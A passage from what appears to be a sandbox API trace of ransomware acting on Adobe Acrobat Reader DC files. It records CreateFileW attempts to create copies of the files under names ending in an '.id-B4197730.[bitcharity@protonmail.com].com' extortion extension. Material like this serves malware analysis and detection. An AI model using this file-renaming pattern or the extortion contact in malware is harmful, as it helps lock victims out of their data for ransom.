dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.830] CloseHandle (hObject=0x115c) returned 1 [0284.831] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.831] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.831] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.831] CloseHandle (hObject=0x115c) returned 1 [0284.832] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.832] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.832] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.832] CloseHandle (hObject=0x115c) returned 1 [0284.832] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.832] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.833] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.833] CloseHandle (hObject=0x115c) returned 1 [0284.835] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.835] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.835] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.835] CloseHandle (hObject=0x115c) returned 1 [0284.854] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.854] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.854] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.855] CloseHandle (hObject=0x11c8) returned 1 [0284.855] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.855] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.855] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.855] CloseHandle (hObject=0x11c8) returned 1 [0285.088] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.088] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.088] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\example_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\example_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.088] CloseHandle (hObject=0x11c8) returned 1 [0285.090] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.090] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.090] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\example_icons2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\example_icons2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.090] CloseHandle (hObject=0x11c8) returned 1 [0285.091] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.091] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.091] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\optimize_poster.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\optimize_poster.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.092] CloseHandle (hObject=0x11c8) returned 1 [0285.092] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.092] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.092] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\optimize_poster2x.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\optimize_poster2x.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.093] CloseHandle (hObject=0x11c8) returned 1 [0285.093] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.093] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.093] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\organize_poster.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\organize_poster.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.093] CloseHandle (hObject=0x11c8) returned 1 [0285.094] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.094] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.094] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\organize_poster2x-dark.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\organize_poster2x-dark.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.094] CloseHandle (hObject=0x11c8) returned 1 [0285.095] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.095] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.095] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\organize_poster2x.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\organize_poster2x.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.095] CloseHandle (hObject=0x11c8) returned 1 [0285.096] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.097] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.097] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\protect_poster.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\protect_poster.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.097] CloseHandle (hObject=0x11c8) returned 1 [0285.097] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.097] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.097] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\protect_poster2x.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\protect_poster2x.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.098] CloseHandle (hObject=0x11c8) returned 1 [0285.099] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.099] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.099] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\redact_poster.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\redact_poster.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.099] CloseHandle (hObject=0x11c8) returned 1 [0285.100] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.100] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.100] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\redact_poster2x.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\redact_poster2x.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.100] CloseHandle (hObject=0x11c8) returned 1 [0285.100] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.101] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.101] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\scan_poster.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\scan_poster.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.101] CloseHandle (hObject=0x11c8) returned 1 [0285.101] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.101] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.101] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\scan_poster2x.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\scan_poster2x.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.102] CloseHandle (hObject=0x11c8) returned 1 [0285.104] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.104] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.104] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\combine_poster.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\combine_poster.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.104] CloseHandle (hObject=0x11c8) returned 1 [0285.105] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.105] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.105] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\combine_poster2x.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\combine_poster2x.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.105] CloseHandle (hObject=0x11c8) returned 1 [0285.106] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.106] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.107] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\compare_poster.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\compare_poster.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.107] CloseHandle (hObject=0x11c8) returned 1 [0285.108] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.109] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.109] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\compare_poster2x.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\compare_poster2x.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.109] CloseHandle (hObject=0x11a8) returned 1 [0285.110] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.110] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.110] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\edit_pdf_poster.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\edit_pdf_poster.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.110] CloseHandle (hObject=0x11a8) returned 1 [0285.111] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.111] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.112] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\edit_pdf_poster2x.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\edit_pdf_poster2x.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.112] CloseHandle (hObject=0x11a8) returned 1 [0285.113] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.113] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.113] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\example_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\example_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.113] CloseHandle (hObject=0x11a8) returned 1 [0285.114] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.114] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.114] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\example_icons2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\example_icons2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.115] CloseHandle (hObject=0x11a8) returned 1 [0285.115] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.115] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.116] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\optimize_poster.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files 